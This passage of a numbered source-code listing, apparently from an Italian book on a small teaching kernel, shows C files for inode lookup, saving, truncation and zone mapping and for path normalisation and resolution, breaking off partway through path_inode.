800055      //  References counter might be zero.
800056      //
800057      if (inode->references == 0)
800058        {
800059          //
800060          // Check if the inode is to be deleted (until there are
800061          // run time references, the inode cannot be removed).
800062          //
800063          if (inode->links == 0
800064           || (S_ISDIR (inode->mode) && inode->links == 1))
800065            {
800066              //
800067              // The inode has no more run time references and file system
800068              // links are also zero (or one for a directory): remove it!
800069              //
800070              status = inode_truncate (inode);
800071              if (status != 0)
800072                {
800073                  k_perror (NULL);
800074                }
800075              //
800076              inode_free (inode);
800077              return (0);
800078            }
800079        }
800080      //
800081      // Save inode to disk and return.
800082      //
800083      return (inode_save (inode));
800084  }
```

119.5.22 kernel/fs/inode_reference.c

Si veda la sezione 118.5.21.

```
810001  #include <kernel/fs.h>
810002  #include <errno.h>
810003  //----------------------------------------------------------------------
810004  inode_t *
810005  inode_reference (dev_t device, ino_t ino)
810006  {
810007      int    s;                            // Slot index.
810008      sb_t *sb_table = sb_reference (0);
810009      //
810010      // If device is zero, and inode is zero, a reference to the whole
810011      // table is returned.
```

```
810012      //
810013      if (device == 0 && ino == 0)
810014        {
810015          return (inode_table);
810016        }
810017      //
810018      // If device is ((dev_t) -1) and the inode is ((ino_t) -1), a
810019      // reference to a free inode slot is returned.
810020      //
810021      if (device == (dev_t) -1 && ino == ((ino_t) -1))
810022        {
810023          for (s = 0; s < INODE_MAX_SLOTS; s++)
810024            {
810025              if (inode_table[s].references == 0)
810026                {
810027                  return (&inode_table[s]);
810028                }
810029            }
810030          return (NULL);
810031        }
810032      //
810033      // If device is zero and the inode is 1, a reference to the root
810034      // directory inode is returned.
810035      //
810036      if (device == 0 && ino == 1)
810037        {
810038          //
810039          // The super block table is to be scanned.
810040          //
810041          for (device = 0, s = 0; s < SB_MAX_SLOTS; s++)
810042            {
810043              if (   sb_table[s].device != 0
810044                  && (   sb_table[s].inode_mounted_on->sb_attached->device
810045                      == sb_table[s].device))
810046                {
810047                  device = sb_table[s].device;
810048                  break;
810049                }
810050            }
810051          if (device == 0)
810052            {
810053              errset (E_CANNOT_FIND_ROOT_DEVICE);
810054              return (NULL);
810055            }
810056          //
810057          // Scan the inode table to find inode 1 and the same device.
810058          //
810059          for (s = 0; s < INODE_MAX_SLOTS; s++)
810060            {
810061              if (inode_table[s].sb->device == device     &&
810062                  inode_table[s].ino == 1)
810063                {
```

```
810064                     return (&inode_table[s]);
810065                   }
810066               }
810067           //
810068           // Cannot find a root file system inode.
810069           //
810070           errset (E_CANNOT_FIND_ROOT_INODE);
810071           return (NULL);
810072         }
810073       //
810074       // A device and an inode number were selected: find the inode
810075       // associated to it.
810076       //
810077       for (s = 0; s < INODE_MAX_SLOTS; s++)
810078         {
810079           if (inode_table[s].sb->device == device &&
810080               inode_table[s].ino == ino)
810081             {
810082               return (&inode_table[s]);
810083             }
810084         }
810085       //
810086       // The inode was not found.
810087       //
810088       return (NULL);
810089   }
```

119.5.23 kernel/fs/inode_save.c

Si veda la sezione 118.5.22.

```
820001   #include <kernel/fs.h>
820002   #include <errno.h>
820003   #include <kernel/dev.h>
820004   //----------------------------------------------------------------------
820005   int
820006   inode_save (inode_t *inode)
820007   {
820008       size_t            size;
820009       unsigned long int start;
820010       ssize_t           n;
820011       //
820012       // Check for valid argument.
820013       //
820014       if (inode == NULL)
820015         {
820016           errset (EINVAL);                // Invalid argument.
820017           return (-1);
820018         }
820019       //
820020       // If the inode number is zero, no file system is involved!
```

```
820021      //
820022      if (inode->ino == 0)
820023        {
820024          return (0);
820025        }
820026      //
820027      // Save the super block to disk.
820028      //
820029      sb_save (inode->sb);
820030      //
820031      // Save the inode to disk.
820032      //
820033      if (inode->changed)
820034        {
820035          size   = offsetof (inode_t, sb);
820036          //
820037          // Calculating start position for write.
820038          //
820039          // [1] Boot block.
820040          // [2] Super block.
820041          // [3] Inode bit map.
820042          // [4] Zone bit map.
820043          // [5] Previous inodes: consider that the inode zero is
820044          //     present in the inode map, but not in the inode
820045          //     table.
820046          //
820047          start  = 1024;                                // [1]
820048          start += 1024;                                // [2]
820049          start += (inode->sb->map_inode_blocks * 1024);  // [3]
820050          start += (inode->sb->map_zone_blocks * 1024);   // [4]
820051          start += ((inode->ino -1) * size);            // [5]
820052          //
820053          // Write the inode.
820054          //
820055          n = dev_io ((pid_t) -1, inode->sb->device, DEV_WRITE, start,
820056                      inode, size, NULL);
820057          //
820058          inode->changed = 0;
820059        }
820060      return (0);
820061  }
```

119.5.24 kernel/fs/inode_stdio_dev_make.c

Si veda la sezione 118.5.23.

```
830001  #include <kernel/fs.h>
830002  #include <errno.h>
830003  #include <kernel/lib_k.h>
830004  #include <kernel/lib_s.h>
830005  //----------------------------------------------------------------------
```

```
830006 inode_t *
830007 inode_stdio_dev_make (dev_t device, mode_t mode)
830008 {
830009     inode_t     *inode;
830010     //
830011     // Check for arguments.
830012     //
830013     if (mode == 0 || device == 0)
830014       {
830015         errset (EINVAL);        // Invalid argument.
830016         return (NULL);
830017       }
830018     //
830019     // Find a free inode.
830020     //
830021     inode = inode_reference ((dev_t) -1, (ino_t) -1);
830022     if (inode == NULL)
830023       {
830024         //
830025         // No free slot available.
830026         //
830027         errset (ENFILE);        // Too many files open in system.
830028         return (NULL);
830029       }
830030     //
830031     // Put data inside the inode. Please note that 'inode->ino' must be
830032     // zero, because it is necessary to recognize it as an internal
830033     // inode with no file system. Otherwise, with a value different than
830034     // zero, 'inode_put()' will try to remove it. [*]
830035     //
830036     inode->mode          = mode;
830037     inode->uid           = 0;
830038     inode->gid           = 0;
830039     inode->size          = 0;
830040     inode->time          = s_time ((pid_t) 0, NULL);
830041     inode->links         = 0;
830042     inode->direct[0]     = device;
830043     inode->direct[1]     = 0;
830044     inode->direct[2]     = 0;
830045     inode->direct[3]     = 0;
830046     inode->direct[4]     = 0;
830047     inode->direct[5]     = 0;
830048     inode->direct[6]     = 0;
830049     inode->indirect1     = 0;
830050     inode->indirect2     = 0;
830051     inode->sb_attached   = NULL;
830052     inode->sb            = 0;
830053     inode->ino           = 0;   // Must be zero. [*]
830054     inode->blkcnt        = 0;
830055     inode->references    = 1;
830056     inode->changed       = 0;
830057     //
```

```
830058      // Add all access permissions.
830059      //
830060      inode->mode       |= (S_IRWXU|S_IRWXG|S_IRWXO);
830061      //
830062      // Return the inode pointer.
830063      //
830064      return (inode);
830065  }
```

119.5.25 kernel/fs/inode_table.c

Si veda la sezione 118.5.21.

```
840001  #include <kernel/fs.h>
840002  //----------------------------------------------------------------------
840003  inode_t inode_table[INODE_MAX_SLOTS];
```

119.5.26 kernel/fs/inode_truncate.c

Si veda la sezione 118.5.24.

```
850001  #include <kernel/fs.h>
850002  #include <errno.h>
850003  #include <kernel/lib_k.h>
850004  //----------------------------------------------------------------------
850005  int
850006  inode_truncate (inode_t *inode)
850007  {
850008      unsigned int indirect_zones;
850009      zno_t        zone_table1[INODE_MAX_INDIRECT_ZONES];
850010      zno_t        zone_table2[INODE_MAX_INDIRECT_ZONES];
850011      unsigned int i;              // Direct index.
850012      unsigned int i0;             // Single indirect index.
850013      unsigned int i1;             // Double indirect first index.
850014      unsigned int i2;             // Double indirect second index.
850015      int          status;         // `zone_read()' return value.
850016      //
850017      // Calculate how many indirect zone numbers are stored inside
850018      // a zone: it depends on the zone size.
850019      //
850020      indirect_zones  = inode->sb->blksize / 2;
850021      //
850022      // Scan and release direct zones. Errors are ignored.
850023      //
850024      for (i = 0; i < 7; i++)
850025        {
850026          zone_free (inode->sb, inode->direct[i]);
850027          inode->direct[i] = 0;
850028        }
```

```
850029     //
850030     // Scan single indirect zones, if present.
850031     //
850032     if (inode->blkcnt > 7 && inode->indirect1 != 0)
850033       {
850034         //
850035         // There is a single indirect table to load. Errors are
850036         // almost ignored.
850037         //
850038         status = zone_read (inode->sb, inode->indirect1, zone_table1);
850039         if (status == 0)
850040           {
850041             //
850042             // Scan the table and remove zones.
850043             //
850044             for (i0 = 0; i0 < indirect_zones; i0++)
850045               {
850046                 zone_free (inode->sb, zone_table1[i0]);
850047               }
850048           }
850049         //
850050         // Remove indirect table too.
850051         //
850052         zone_free (inode->sb, inode->indirect1);
850053         //
850054         // Clear single indirect reference inside the inode.
850055         //
850056         inode->indirect1 = 0;
850057       }
850058     //
850059     // Scan double indirect zones, if present.
850060     //
850061     if (   inode->blkcnt > (7+indirect_zones)
850062         && inode->indirect2 != 0)
850063       {
850064         //
850065         // There is a double indirect table to load. Errors are
850066         // almost ignored.
850067         //
850068         status = zone_read (inode->sb, inode->indirect2, zone_table1);
850069         if (status == 0)
850070           {
850071             //
850072             // Scan the table and get second level indirection.
850073             //
850074             for (i1 = 0; i1 < indirect_zones; i1++)
850075               {
850076                 if ((  inode->blkcnt
850077                      > (7+indirect_zones+indirect_zones*i1))
850078                     && zone_table1[i1] != 0)
850079                   {
850080                     //
```

```
850081                      // There is a second level table to load.
850082                      //
850083                      status = zone_read (inode->sb, zone_table1[i1],
850084                                          zone_table2);
850085                      if (status == 0)
850086                        {
850087                          //
850088                          // Release zones.
850089                          //
850090                          for (i2 = 0;
850091                               i2 < indirect_zones &&
850092      (inode->blkcnt > (7+indirect_zones+indirect_zones*i1+i2));
850093                               i2++)
850094                            {
850095                              zone_free (inode->sb, zone_table2[i2]);
850096                            }
850097                          //
850098                          // Remove second level indirect table.
850099                          //
850100                          zone_free (inode->sb, zone_table1[i1]);
850101                        }
850102                    }
850103                }
850104              //
850105              // Remove first level indirect table.
850106              //
850107              zone_free (inode->sb, inode->indirect2);
850108            }
850109          //
850110          // Clear single indirect reference inside the inode.
850111          //
850112          inode->indirect2 = 0;
850113        }
850114      //
850115      // Update super block and inode data.
850116      //
850117      sb_save (inode->sb);
850118      inode->size = 0;
850119      inode->changed = 1;
850120      inode_save (inode);
850121      //
850122      // Successful return.
850123      //
850124      return (0);
850125  }
```

119.5.27 kernel/fs/inode_zone.c

Si veda la sezione 118.5.25.

```
860001 #include <kernel/fs.h>
860002 #include <errno.h>
860003 #include <kernel/lib_k.h>
860004 //----------------------------------------------------------------------
860005 zno_t
860006 inode_zone (inode_t *inode, zno_t fzone, int write)
860007 {
860008     unsigned int indirect_zones;
860009     unsigned int allocated_zone;
860010     zno_t        zone_table[INODE_MAX_INDIRECT_ZONES];
860011     char         buffer[SB_MAX_ZONE_SIZE];
860012     unsigned int i0;            // Single indirect index.
860013     unsigned int i1;            // Double indirect first index.
860014     unsigned int i2;            // Double indirect second index.
860015     int          status;
860016     zno_t        zone_second;   // Second level table zone.
860017     //
860018     // Calculate how many indirect zone numbers are stored inside
860019     // a zone: it depends on the zone size.
860020     //
860021     indirect_zones  = inode->sb->blksize / 2;
860022     //
860023     // Convert file-zone number into a zone number.
860024     //
860025     if (fzone < 7)
860026       {
860027         //
860028         // 0 <= fzone <= 6
860029         // The zone number is inside the direct zone references.
860030         // Verify to have such zone.
860031         //
860032         if (inode->direct[fzone] == 0)
860033           {
860034             //
860035             // There is not such zone, but we do not consider
860036             // it an error, because a file can be not contiguous.
860037             //
860038             if (!write)
860039               {
860040                 return ((zno_t) 0);
860041               }
860042             //
860043             // Must be allocated.
860044             //
860045             allocated_zone = zone_alloc (inode->sb);
860046             if (allocated_zone == 0)
860047               {
860048                 //
860049                 // Cannot allocate the zone. The variable 'errno' is
```

```
860050                     // set by 'zone_alloc()'.
860051                     //
860052                     return ((zno_t) -1);
860053                   }
860054                 //
860055                 // The zone is allocated: clear the zone and save.
860056                 //
860057                 memset (buffer, 0, SB_MAX_ZONE_SIZE);
860058                 status = zone_write (inode->sb, allocated_zone, buffer);
860059                 if (status < 0)
860060                   {
860061                     //
860062                     // Cannot overwrite the zone. The variable 'errno' is
860063                     // set by 'zone_write()'.
860064                     //
860065                     return ((zno_t) -1);
860066                   }
860067                 //
860068                 // The zone is allocated and cleared: save the inode.
860069                 //
860070                 inode->direct[fzone] = allocated_zone;
860071                 inode->changed = 1;
860072                 status = inode_save (inode);
860073                 if (status != 0)
860074                   {
860075                     //
860076                     // Cannot save the inode. The variable 'errno' is
860077                     // set 'inode_save()'.
860078                     //
860079                     return ((zno_t) -1);
860080                   }
860081               }
860082             //
860083             // The zone is there: return it.
860084             //
860085             return (inode->direct[fzone]);
860086           }
860087         if (fzone < 7 + indirect_zones)
860088           {
860089             //
860090             // 7 <= fzone <= (6 + indirect_zones)
860091             // The zone number is inside the single indirect zone
860092             // references: verify to have the indirect zone table.
860093             //
860094             if (inode->indirect1 == 0)
860095               {
860096                 //
860097                 // There is not such zone, but it is not an error.
860098                 //
860099                 if (!write)
860100                   {
860101                     return ((zno_t) 0);
```

```
860102                  }
860103                //
860104                // The first level of indirection must be initialized.
860105                //
860106                allocated_zone = zone_alloc (inode->sb);
860107                if (allocated_zone == 0)
860108                  {
860109                    //
860110                    // Cannot allocate the zone for the indirection table:
860111                    // this is an error and the 'errno' value is produced
860112                    // by 'zone_alloc()'.
860113                    //
860114                    return ((zno_t) -1);
860115                  }
860116                //
860117                // The zone for the indirection table is allocated:
860118                // clear the zone and save.
860119                //
860120                memset (buffer, 0, SB_MAX_ZONE_SIZE);
860121                status = zone_write (inode->sb, allocated_zone, buffer);
860122                if (status < 0)
860123                  {
860124                    //
860125                    // Cannot overwrite the zone. The variable 'errno' is
860126                    // set by 'zone_write()'.
860127                    //
860128                    return ((zno_t) -1);
860129                  }
860130                //
860131                // The indirection table zone is allocated and cleared:
860132                // save the inode.
860133                //
860134                inode->indirect1 = allocated_zone;
860135                inode->changed = 1;
860136                status = inode_save (inode);
860137                if (status != 0)
860138                  {
860139                    //
860140                    // Cannot save the inode. This is an error and the value
860141                    // for 'errno' is produced by 'inode_save()'.
860142                    //
860143                    return ((zno_t) -1);
860144                  }
860145              }
860146            //
860147            // An indirect table is present inside the file system:
860148            // load it.
860149            //
860150            status = zone_read (inode->sb, inode->indirect1, zone_table);
860151            if (status != 0)
860152              {
860153                //
```

```
860154                 // Cannot load the indirect table. This is an error and the
860155                 // value for 'errno' is assigned by function 'zone_read()'.
860156                 //
860157                 return ((zno_t) -1);
860158               }
860159             //
860160             // The indirect table was read. Calculate the index inside
860161             // the table, for the requested zone.
860162             //
860163             i0 = (fzone - 7);
860164             //
860165             // Check if the zone is to be allocated.
860166             //
860167             if (zone_table[i0] == 0)
860168               {
860169                 //
860170                 // There is not such zone, but it is not an error.
860171                 //
860172                 if (!write)
860173                   {
860174                     return ((zno_t) 0);
860175                   }
860176                 //
860177                 // The zone must be allocated.
860178                 //
860179                 allocated_zone = zone_alloc (inode->sb);
860180                 if (allocated_zone == 0)
860181                   {
860182                     //
860183                     // There is no space for the zone allocation. The
860184                     // variable 'errno' is already updated by
860185                     // 'zone_alloc()'.
860186                     //
860187                     return ((zno_t) -1);
860188                   }
860189                 //
860190                 // The zone is allocated: clear the zone and save.
860191                 //
860192                 memset (buffer, 0, SB_MAX_ZONE_SIZE);
860193                 status = zone_write (inode->sb, allocated_zone, buffer);
860194                 if (status < 0)
860195                   {
860196                     //
860197                     // Cannot overwrite the zone. The variable 'errno' is
860198                     // set by 'zone_write()'.
860199                     //
860200                     return ((zno_t) -1);
860201                   }
860202                 //
860203                 // The zone is allocated and cleared: update the indirect
860204                 // zone table an save it. The inode is not modified,
860205                 // because the indirect table is outside.
```

```
860206                  //
860207                  zone_table[i0] = allocated_zone;
860208                  status = zone_write (inode->sb, inode->indirect1,
860209                                       zone_table);
860210                  if (status != 0)
860211                    {
860212                      //
860213                      // Cannot save the zone. The variable 'errno' is already
860214                      // set by 'zone_write()'.
860215                      //
860216                      return ((zno_t) -1);
860217                    }
860218                }
860219              //
860220              // The zone is allocated.
860221              //
860222              return (zone_table[i0]);
860223            }
860224          else
860225            {
860226              //
860227              // (7 + indirect_zones) <= fzone
860228              // The zone number is inside the double indirect zone
860229              // references.
860230              // Verify to have the first level of second indirection.
860231              //
860232              if (inode->indirect2 == 0)
860233                {
860234                  //
860235                  // There is not such zone, but it is not an error.
860236                  //
860237                  if (!write)
860238                    {
860239                      return ((zno_t) 0);
860240                    }
860241                  //
860242                  // The first level of second indirection must be
860243                  // initialized.
860244                  //
860245                  allocated_zone = zone_alloc (inode->sb);
860246                  if (allocated_zone == 0)
860247                    {
860248                      //
860249                      // Cannot allocate the zone. The variable 'errno' is
860250                      // set by 'zone_alloc()'.
860251                      //
860252                      return ((zno_t) -1);
860253                    }
860254                  //
860255                  // The zone for the indirection table is allocated:
860256                  // clear the zone and save.
860257                  //
```

```
860258                 memset (buffer, 0, SB_MAX_ZONE_SIZE);
860259                 status = zone_write (inode->sb, allocated_zone, buffer);
860260                 if (status < 0)
860261                   {
860262                     //
860263                     // Cannot overwrite the zone. The variable 'errno' is
860264                     // set by 'zone_write()'.
860265                     //
860266                     return ((zno_t) -1);
860267                   }
860268                 //
860269                 // The zone for the indirection table is allocated and
860270                 // cleared: save the inode.
860271                 //
860272                 inode->indirect2 = allocated_zone;
860273                 inode->changed = 1;
860274                 status = inode_save (inode);
860275                 if (status != 0)
860276                   {
860277                     //
860278                     // Cannot save the inode. The variable 'errno' is
860279                     // set by 'inode_save()'.
860280                     //
860281                     return ((zno_t) -1);
860282                   }
860283               }
860284             //
860285             // The first level of second indirection is present:
860286             // Read the second indirect table.
860287             //
860288             status = zone_read (inode->sb, inode->indirect2, zone_table);
860289             if (status != 0)
860290               {
860291                 //
860292                 // Cannot read the second indirect table. The variable
860293                 // 'errno' is set by 'zone_read()'.
860294                 //
860295                 return ((zno_t) -1);
860296               }
860297             //
860298             // The first double indirect table was read: calculate
860299             // indexes inside first and second level of table.
860300             //
860301             fzone -= 7;
860302             fzone -= indirect_zones;
860303             i1     = fzone / indirect_zones;
860304             i2     = fzone % indirect_zones;
860305             //
860306             // Verify to have a second level.
860307             //
860308             if (zone_table[i1] == 0)
860309               {
```

```
860310             //
860311             // There is not such zone, but it is not an error.
860312             //
860313             if (!write)
860314               {
860315                 return ((zno_t) 0);
860316               }
860317             //
860318             // The second level must be initialized.
860319             //
860320             allocated_zone = zone_alloc (inode->sb);
860321             if (allocated_zone == 0)
860322               {
860323                 //
860324                 // Cannot allocate the zone. The variable 'errno' is set
860325                 // by 'zone_alloc()'.
860326                 //
860327                 return ((zno_t) -1);
860328               }
860329             //
860330             // The zone for the indirection table is allocated:
860331             // clear the zone and save.
860332             //
860333             memset (buffer, 0, SB_MAX_ZONE_SIZE);
860334             status = zone_write (inode->sb, allocated_zone, buffer);
860335             if (status < 0)
860336               {
860337                 //
860338                 // Cannot overwrite the zone. The variable 'errno' is
860339                 // set by 'zone_write()'.
860340                 //
860341                 return ((zno_t) -1);
860342               }
860343             //
860344             // Update the first level index and save it.
860345             //
860346             zone_table[i1] = allocated_zone;
860347             status = zone_write (inode->sb, inode->indirect2,
860348                                  zone_table);
860349             if (status != 0)
860350               {
860351                 //
860352                 // Cannot write the zone. The variable 'errno' is set
860353                 // by 'zone_write()'.
860354                 //
860355                 return ((zno_t) -1);
860356               }
860357           }
860358         //
860359         // The second level can be read, overwriting the array
860360         // 'zone_table[]'. The zone number for the second level
860361         // indirection table is saved inside 'zone_second', before
```

```
860362          // overwriting the array.
860363          //
860364          zone_second = zone_table[i1];
860365          status = zone_read (inode->sb, zone_second, zone_table);
860366          if (status != 0)
860367            {
860368              //
860369              // Cannot read the second level indirect table. The variable
860370              // 'errno' is set by 'zone_read()'.
860371              //
860372              return ((zno_t) -1);
860373            }
860374          //
860375          // The second level was read and 'zone_table[]' is now
860376          // such second one: check if the zone is to be allocated.
860377          //
860378          if (zone_table[i2] == 0)
860379            {
860380              //
860381              // There is not such zone, but it is not an error.
860382              //
860383              if (!write)
860384                {
860385                  return ((zno_t) 0);
860386                }
860387              //
860388              // Must be allocated.
860389              //
860390              allocated_zone = zone_alloc (inode->sb);
860391              if (allocated_zone == 0)
860392                {
860393                  //
860394                  // Cannot allocate the zone. The variable 'errno' is set
860395                  // by 'zone_alloc()'.
860396                  //
860397                  return ((zno_t) -1);
860398                }
860399              //
860400              // The zone is allocated: clear the zone and save.
860401              //
860402              memset (buffer, 0, SB_MAX_ZONE_SIZE);
860403              status = zone_write (inode->sb, allocated_zone, buffer);
860404              if (status < 0)
860405                {
860406                  //
860407                  // Cannot overwrite the zone. The variable 'errno' is
860408                  // set by 'zone_write()'.
860409                  //
860410                  return ((zno_t) -1);
860411                }
860412              //
860413              // The zone was allocated and cleared: update the indirect
```

```
860414                 // zone table an save it. The inode is not modified, because
860415                 // the indirect table is outside.
860416                 //
860417                 zone_table[i2] = allocated_zone;
860418                 status = zone_write (inode->sb, zone_second, zone_table);
860419                 if (status != 0)
860420                   {
860421                     //
860422                     // Cannot write the zone. The variable 'errno' is set
860423                     // by 'zone_write()'.
860424                     //
860425                     return ((zno_t) -1);
860426                   }
860427               }
860428             //
860429             // The zone is there: return the zone number.
860430             //
860431             return (zone_table[i2]);
860432           }
860433 }
```

119.5.28 kernel/fs/path_device.c

Si veda la sezione 118.5.36.

```
870001 #include <kernel/fs.h>
870002 #include <errno.h>
870003 #include <kernel/proc.h>
870004 //----------------------------------------------------------------------
870005 dev_t
870006 path_device (pid_t pid, const char *path)
870007 {
870008     proc_t   *ps;
870009     inode_t  *inode;
870010     dev_t     device;
870011     //
870012     // Get process.
870013     //
870014     ps = proc_reference (pid);
870015     //
870016     inode = path_inode (pid, path);
870017     if (inode == NULL)
870018       {
870019         errset (errno);
870020         return ((dev_t) -1);
870021       }
870022     //
870023     if (!(S_ISBLK (inode->mode) || S_ISCHR (inode->mode)))
870024       {
870025         errset (ENODEV);                // No such device.
870026         inode_put (inode);
```

```
870027          return ((dev_t) -1);
870028        }
870029      //
870030      device = inode->direct[0];
870031      inode_put (inode);
870032      return (device);
870033  }
```

119.5.29 kernel/fs/path_fix.c

Si veda la sezione 118.5.37.

```
880001  #include <kernel/fs.h>
880002  #include <errno.h>
880003  #include <kernel/proc.h>
880004  //----------------------------------------------------------------------
880005  int
880006  path_fix (char *path)
880007  {
880008      char    new_path[PATH_MAX];
880009      char   *token[PATH_MAX/4];
880010      int     t;                          // Token index.
880011      int     token_size;                 // Token array effective size.
880012      int     comp;                       // String compare return value.
880013      size_t  path_size;                  // Path string size.
880014      //
880015      // Initialize token search.
880016      //
880017      token[0] = strtok (path, "/");
880018      //
880019      // Scan tokens.
880020      //
880021      for (t = 0;
880022           t < PATH_MAX/4 && token[t] != NULL;
880023           t++, token[t] = strtok (NULL, "/"))
880024        {
880025          //
880026          // If current token is `.', just ignore it.
880027          //
880028          comp = strcmp (token[t], ".");
880029          if (comp == 0)
880030            {
880031              t--;
880032            }
880033          //
880034          // If current token is `..', remove previous token,
880035          // if there is one.
880036          //
880037          comp = strcmp (token[t], "..");
880038          if (comp == 0)
880039            {
```

```
880040              if (t > 0)
880041                {
880042                  t -= 2;
880043                }
880044              else
880045                {
880046                  t = -1;
880047                }
880048            }
880049          //
880050          // 't' will be incremented and another token will be
880051          // found.
880052          //
880053        }
880054      //
880055      // Save the token array effective size.
880056      //
880057      token_size = t;
880058      //
880059      // Initialize the new path string.
880060      //
880061      new_path[0] = '\0';
880062      //
880063      // Build the new path string.
880064      //
880065      if (token_size > 0)
880066        {
880067          for (t = 0; t < token_size; t++)
880068            {
880069              path_size = strlen (new_path);
880070              strncat (new_path, "/", 2);
880071              strncat (new_path, token[t], PATH_MAX - path_size - 1);
880072            }
880073        }
880074      else
880075        {
880076          strncat (new_path, "/", 2);
880077        }
880078      //
880079      // Copy the new path into the original string.
880080      //
880081      strncpy (path, new_path, PATH_MAX);
880082      //
880083      // Return.
880084      //
880085      return (0);
880086  }
```

119.5.30 kernel/fs/path_full.c

Si veda la sezione 118.5.38.

```
890001 #include <kernel/fs.h>
890002 #include <errno.h>
890003 #include <kernel/proc.h>
890004 //----------------------------------------------------------------------
890005 int
890006 path_full (const char *path, const char *path_cwd, char *full_path)
890007 {
890008     unsigned int path_size;
890009     //
890010     // Check some arguments.
890011     //
890012     if (path == NULL || strlen (path) == 0 || full_path == NULL)
890013       {
890014         errset (EINVAL);                 // Invalid argument.
890015         return (-1);
890016       }
890017     //
890018     // The main path and the receiving one are right.
890019     // Now arrange to get a full path name.
890020     //
890021     if (path[0] == '/')
890022       {
890023         strncpy (full_path, path, PATH_MAX);
890024         full_path[PATH_MAX-1] = 0;
890025       }
890026     else
890027       {
890028         if (path_cwd == NULL || strlen (path_cwd) == 0)
890029           {
890030             errset (EINVAL);             // Invalid argument.
890031             return (-1);
890032           }
890033         strncpy (full_path, path_cwd, PATH_MAX);
890034         path_size = strlen (full_path);
890035         strncat (full_path, "/", (PATH_MAX - path_size));
890036         path_size = strlen (full_path);
890037         strncat (full_path, path, (PATH_MAX - path_size));
890038       }
890039     //
890040     // Fix path name so that it has no `..', `.', and no
890041     // multiple `/'.
890042     //
890043     path_fix (full_path);
890044     //
890045     // Return.
890046     //
890047     return (0);
890048 }
```

119.5.31 kernel/fs/path_inode.c

Si veda la sezione 118.5.39.

```
900001 #include <kernel/fs.h>
900002 #include <errno.h>
900003 #include <kernel/proc.h>
900004 #include <kernel/lib_k.h>
900005 //----------------------------------------------------------------------
900006 #define DIRECTORY_BUFFER_SIZE (SB_MAX_ZONE_SIZE/16)
900007 //----------------------------------------------------------------------
900008 inode_t *
900009 path_inode (pid_t pid, const char *path)
900010 {
900011     proc_t      *ps;
900012     inode_t     *inode;
900013     dev_t        device;
900014     char         full_path[PATH_MAX];
900015     char        *name;
900016     char        *next;
900017     directory_t dir[DIRECTORY_BUFFER_SIZE];
900018     char         dir_name[NAME_MAX+1];
900019     off_t        offset_dir;
900020     ssize_t      size_read;
900021     size_t       dir_size_read;
900022     ssize_t      size_to_read;
900023     int          comp;
900024     int          d;                // Directory index;
900025     int          status;           // inode_check() return status.
900026     //
900027     // Get process.
900028     //
900029     ps = proc_reference (pid);
900030     //
900031     // Arrange to get a packed full path name.
900032     //
900033     path_full (path, ps->path_cwd, full_path);
900034     //
900035     // Get the root file system inode.
900036     //
900037     inode = inode_get ((dev_t) 0, 1);
900038     if (inode == NULL)
900039       {
900040         errset (errno);
900041         return (NULL);
900042       }
900043     //
900044     // Save the device number.
900045     //
900046     device = inode->sb->device;
900047     //
900048     // Variable 'inode' already points to the root file system inode:
900049     // It must be a directory!
```

```
900050       //
900051       status = inode_check (inode, S_IFDIR, 1, ps->euid, ps->egid);
900052       if (status != 0)
900053         {
900054           //
900055           // Variable 'errno' should be set by inode_check().
900056           //
900057           errset (errno);
900058           inode_put (inode);
900059           return (NULL);
900060         }
900061       //
900062       // Initialize string scan: find the first path token, after the
900063       // first '/'.
900064       //
900065       name = strtok (full_path, "/");
900066       //
900067       // If the original full path is just '/' the variable 'name'
900068       // appears as a null pointer, and the variable 'inode' is already
900069       // what we are looking for.
900070       //
900071       if (name == NULL)
900072         {
900073           return (inode);
900074         }
900075       //
900076       // There is at least a name after '/' inside the original full
900077       // path. A scan is going to start: the original value for variable
900078       // 'inode' is a pointer to the root directory inode.
900079       //
900080       for (;;)
900081         {
900082           //
900083           // Find next token.
900084           //
900085           next = strtok (NULL, "/");
900086           //
900087           // Read the directory from the current inode.
900088           //
900089           for (offset_dir=0; ; offset_dir += size_read)
900090             {
900091               size_to_read = DIRECTORY_BUFFER_SIZE;
900092               //
900093               if ((offset_dir + size_to_read) > inode->size)
900094                 {
900095                   size_to_read = inode->size - offset_dir;
900096                 }
900097               //
900098               size_read = inode_file_read (inode, offset_dir, dir,
900099                                            size_to_read, NULL);
900100               //
900101               // The size read must be a multiple of 16.
```

```
900102                  //
900103                  size_read = ((size_read / 16) * 16);
900104                  //
900105                  // Check anyway if it is zero.
900106                  //
900107                  if (size_read == 0)
900108                    {
900109                      //
900110                      // The directory is ended: release the inode and return.
900111                      //
900112                      inode_put (inode);
900113                      errset (ENOENT);           // No such file or directory.
900114                      return (NULL);
900115                    }
900116                  //
900117                  // Calculate how many directory items we have read.
900118                  //
900119                  dir_size_read = size_read / 16;
900120                  //
900121                  // Scan the directory to find the current name.
900122                  //
900123                  for (d = 0; d < dir_size_read; d++)
900124                    {
900125                      //
900126                      // Ensure to have a null terminated string for
900127                      // the name found.
900128                      //
900129                      memcpy (dir_name, dir[d].name, (size_t) NAME_MAX);
900130                      dir_name[NAME_MAX] = 0;
900131                      //
900132                      comp = strcmp (name, dir_name);
900133                      if (comp == 0 && dir[d].ino != 0)
900134                        {
900135                          //
900136                          // Found the name and verified that it has a link to
900137                          // a inode. Now release the directory inode.
900138                          //
900139                          inode_put (inode);
900140                          //
900141                          // Get next inode and break the loop.
900142                          //
900143                          inode = inode_get (device, dir[d].ino);
900144                          break;
900145                        }
900146                    }
900147                  //
900148                  // If index 'd' is in a valid range, the name was found.
900149                  //
900150                  if (d < dir_size_read)
900151                    {
900152                      //
900153                      // The name was found.
```

```
900154                  //
900155                  break;
900156                }
900157            }
900158          //
900159          // If the function is still working, a file or a directory
900160          // was found: see if there is another name after this one
900161          // to look for. If there isn't, just break the loop.
900162          //
900163          if (next == NULL)
900164            {
900165              //
900166              // As no other tokens are to be found, break the loop.
900167              //
900168              break;
900169            }
900170          //
900171          // As there is another name after the current one,
900172          // the current file must be a directory.
900173          //
900174          status = inode_check (inode, S_IFDIR, 1, ps->euid, ps->egid);
900175          if (status != 0)
900176            {
900177              //
900178              // Variable 'errno' is set by 'inode_check()'.
900179              //
900180              errset (errno);
900181              inode_put (inode);
900182              return (NULL);
900183           }
900184          //
900185          // The inode is a directory and the user has the necessary
900186          // permissions: check if it is a mount point and go to the
900187          // new device root directory if necessary.
900188          //
900189          if (inode->sb_attached != NULL)
900190            {
900191              //
900192              // Must find the root directory for the new device, and
900193              // then go to that inode.
900194              //
900195              device = inode->sb_attached->device;
900196              inode_put (inode);
900197              inode = inode_get (device, 1);
900198              status = inode_check (inode, S_IFDIR, 1,
